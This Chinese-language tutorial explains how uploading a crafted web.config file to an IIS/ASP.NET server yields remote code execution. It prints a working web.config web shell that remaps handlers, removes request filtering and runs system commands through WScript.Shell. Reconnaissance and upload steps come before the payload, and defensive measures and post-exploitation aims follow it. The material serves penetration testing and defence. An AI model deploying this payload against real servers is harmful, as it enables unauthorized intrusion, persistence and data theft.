奇技淫巧 | 上传web.config文件获取远程代码执行权限
字数 1273 2025-08-18 11:37:20
利用web.config文件实现远程代码执行权限获取的教学文档
1. 漏洞背景与原理
1.1 web.config文件简介
- web.config是ASP.NET Web应用程序的XML配置文件
- 功能:存储应用程序配置信息(身份验证方式、数据库连接字符串、错误处理等)
- 特点:
- 可出现在应用程序的每个目录中
- 子目录继承父目录配置,也可通过自己的web.config覆盖父配置
- 放置在根目录下影响整个网站,放置在其他目录下仅影响当前目录
1.2 漏洞成因
- 网站上传功能未严格限制web.config文件上传
- 上传的web.config文件可配置IIS处理程序
- 通过特殊配置可使.config文件被当作ASP脚本解析执行
2. 前期侦察
2.1 服务器信息收集
- 探测方法:在URL中添加特殊字符如
/<>测试 - 预期响应:ASP.NET默认会返回XSS过滤错误
- 关键信息获取:
- ASP.NET版本
- 服务器头信息(如
Server: Microsoft-IIS/8.5)
2.2 上传功能测试
- 测试上传不同后缀文件:
.aspx.asp.asmx
- 观察服务器返回的错误信息,了解上传限制机制
3. 漏洞利用步骤
3.1 构造恶意web.config文件
<?xml version="1.0" encoding="UTF-8"?>
<configuration>
<system.webServer>
<handlers accessPolicy="Read, Script, Write">
<add name="web_config" path="*.config" verb="*" modules="IsapiModule"
scriptProcessor="%windir%\system32\inetsrv\asp.dll"
resourceType="Unspecified" requireAccess="Write" preCondition="bitness64" />
</handlers>
<security>
<requestFiltering>
<fileExtensions>
<remove fileExtension=".config" />
</fileExtensions>
<hiddenSegments>
<remove segment="web.config" />
</hiddenSegments>
</requestFiltering>
</security>
</system.webServer>
<appSettings></appSettings>
</configuration>
<!--<%
Response.write("</p><pre>")
Set wShell1 = CreateObject("WScript.Shell")
Set cmd1 = wShell1.Exec("whoami")
output1 = cmd1.StdOut.Readall()
set cmd1 = nothing: Set wShell1 = nothing
Response.write(output1)
Response.write("</pre><p>")
%>
3.2 关键配置解析
-
handlers配置:
- 添加一个处理程序,使
.config文件由asp.dll处理 accessPolicy="Read, Script, Write":赋予读写和执行权限scriptProcessor指向ASP脚本处理器路径
- 添加一个处理程序,使
-
requestFiltering配置:
- 移除对
.config扩展名的过滤 - 移除对
web.config隐藏段的保护
- 移除对
-
ASP脚本部分:
- 使用
<% %>包含ASP代码 - 通过
WScript.Shell执行系统命令 - 示例中执行
whoami获取当前用户权限
- 使用
3.3 上传与执行
- 将构造好的web.config文件上传至目标服务器
- 直接访问上传的web.config文件URL
- 服务器会解析并执行其中的ASP代码
- 命令执行结果会返回在响应中
4. 防御措施
4.1 上传限制
- 严格限制上传文件类型,禁止上传web.config
- 使用白名单机制而非黑名单
- 检查文件内容而不仅是扩展名
4.2 服务器配置
- 保持IIS和ASP.NET更新至最新版本
- 配置requestFiltering严格限制.config文件访问
- 设置适当的文件夹权限,限制上传目录的执行权限
4.3 其他措施
- 定期安全审计,检查服务器上的异常配置文件
- 实施WAF规则阻止此类攻击
- 最小权限原则运行Web应用程序
5. 扩展利用
成功利用此漏洞后,攻击者可:
- 执行任意系统命令
- 上传更多恶意文件建立持久后门
- 进行内网横向移动(若服务器权限足够高)
- 窃取敏感数据或破坏系统
6. 注意事项
- 此技术仅用于授权测试,未经授权使用属违法行为
- 实际环境中可能需要根据目标服务器调整配置
- 某些现代IIS版本可能已默认防范此类攻击
- 测试后应及时提交详细报告并协助修复